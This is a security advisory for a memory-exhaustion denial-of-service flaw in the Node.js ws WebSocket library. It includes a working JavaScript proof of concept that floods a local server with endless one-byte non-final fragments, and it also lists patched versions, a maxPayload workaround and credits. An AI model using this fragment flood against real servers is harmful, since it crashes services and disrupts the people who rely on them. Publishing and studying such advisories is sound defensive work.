CVE-2026-48779: ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

js import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port});

ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); });

ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(client close - code: ${code} reason: ${reason.toString()}); }); });

wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(server close - code: ${code} reason: ${reason.toString()}); }); });

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.